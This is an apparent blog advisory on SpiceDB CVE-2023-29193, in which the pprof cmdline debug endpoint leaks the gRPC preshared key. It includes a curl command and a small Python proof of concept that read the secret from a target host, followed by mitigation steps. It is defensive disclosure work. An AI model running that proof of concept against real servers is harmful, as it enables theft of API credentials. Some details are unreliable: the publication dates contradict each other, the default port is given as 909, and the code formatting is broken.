SpiceDB is a powerful, open-source permissions database inspired by Google's Zanzibar design. As more organizations use SpiceDB to handle critical application permissions, security and correct configuration become extremely important. On May 12, 2023, a security vulnerability, CVE-2023-29193, was published. This flaw could lead to accidental exposure of sensitive secrets—specifically, preshared keys used to protect the gRPC API.
In this exclusive post, we’ll break down how this vulnerability happens, show practical code snippets and examples, look at how an attacker might exploit it, and provide actionable advice and workarounds for keeping your deployments secure.
What is CVE-2023-29193?
SpiceDB uses the spicedb serve command to launch its main service. To protect the gRPC API from unauthorized access, the process supports a flag named --grpc-preshared-key:
spicedb serve --grpc-preshared-key=SuperSecretKey
Here’s the issue: The metrics service (by default on port 909) provides various debug endpoints, including /debug/pprof/cmdline. This endpoint reveals the command-line arguments used to start the process—for debugging purposes. If you pass secrets like the pre-shared gRPC key as a flag, it will be shown to anyone with access to the metrics port.
Vulnerability Breakdown
- The metrics endpoint (/debug/pprof/cmdline) discloses the command-line (including secrets).
- If this port is publicly accessible (or simply reachable by an untrusted user), any secrets passed on the command line are exposed in plaintext.
- This allows a remote, unauthenticated attacker to retrieve the gRPC secret and use it against the service.
`shell
curl http://spicedb.example.com:909/debug/pprof/cmdline
Here’s a minimal proof-of-concept
import requests
# Replace with your SpiceDB server's hostname or IP
url = "http://target-spicedb:909/debug/pprof/cmdline";
response = requests.get(url)
if "--grpc-preshared-key=" in response.text:
print("[!] Leaked Secret:", response.text)
else:
print("[!] Secret not found in command line:", response.text)
An attacker just needs the metrics endpoint address to potentially read sensitive secret values.
Your metrics port (909 by default) is open to untrusted networks
For example, cloud users exposing port 909 in a public Kubernetes service or cloud VM firewall are at direct risk.
Official Patch
As of version 1.19.1, this vulnerability is patched (Release notes).
Instead of passing the secret on the command-line, use the environment
SPICEDB_GRPC_PRESHARED_KEY=yoursecret spicedb serve
Keep metrics safe by only exposing them locally
spicedb serve --metrics-addr=localhost:909
Or, for Docker/Kubernetes, only expose it within your cluster.
For sensitive environments where metrics aren’t essential, turn them off entirely
spicedb serve --metrics-enabled=false
4. Use Managed or Operator-Managed Deployments
- Authzed’s managed SpiceDB services
- SpiceDB Operator for Kubernetes
Deep Dive: Why Did This Happen?
This is a common pitfall in Go-based applications. The standard net/http/pprof endpoints are great for debugging, but they dump information that’s not always safe when exposed beyond localhost.
Related issues in Go
- Go issue #22085: Risks of exposing pprof to the internet
- Go issue #42834: Preventing pprof registration by default
- Semgrep security rule for this bug pattern
If you maintain Go software, keep your diagnostics endpoints private!
Final Recommendations
Do not expose --grpc-preshared-key via command-line flags or any sensitive data in flags on services where debug/metrics endpoints are reachable by untrusted users or networks!
References
- GitHub Security Advisory for SpiceDB: GHSA-cjr9-mr35-7xh6
- Go documentation for net/http/pprof
- semgrep Go pprof exposure rule
- Authzed: Managed SpiceDB
- SpiceDB Operator
Credit
This vulnerability was responsibly disclosed by Amit Laish, GE Vernova security researcher. Thank you for keeping the ecosystem safer!
Timeline
Published on: 04/14/2023 20:15:00 UTC
Last modified on: 04/24/2023 16:22:00 UTC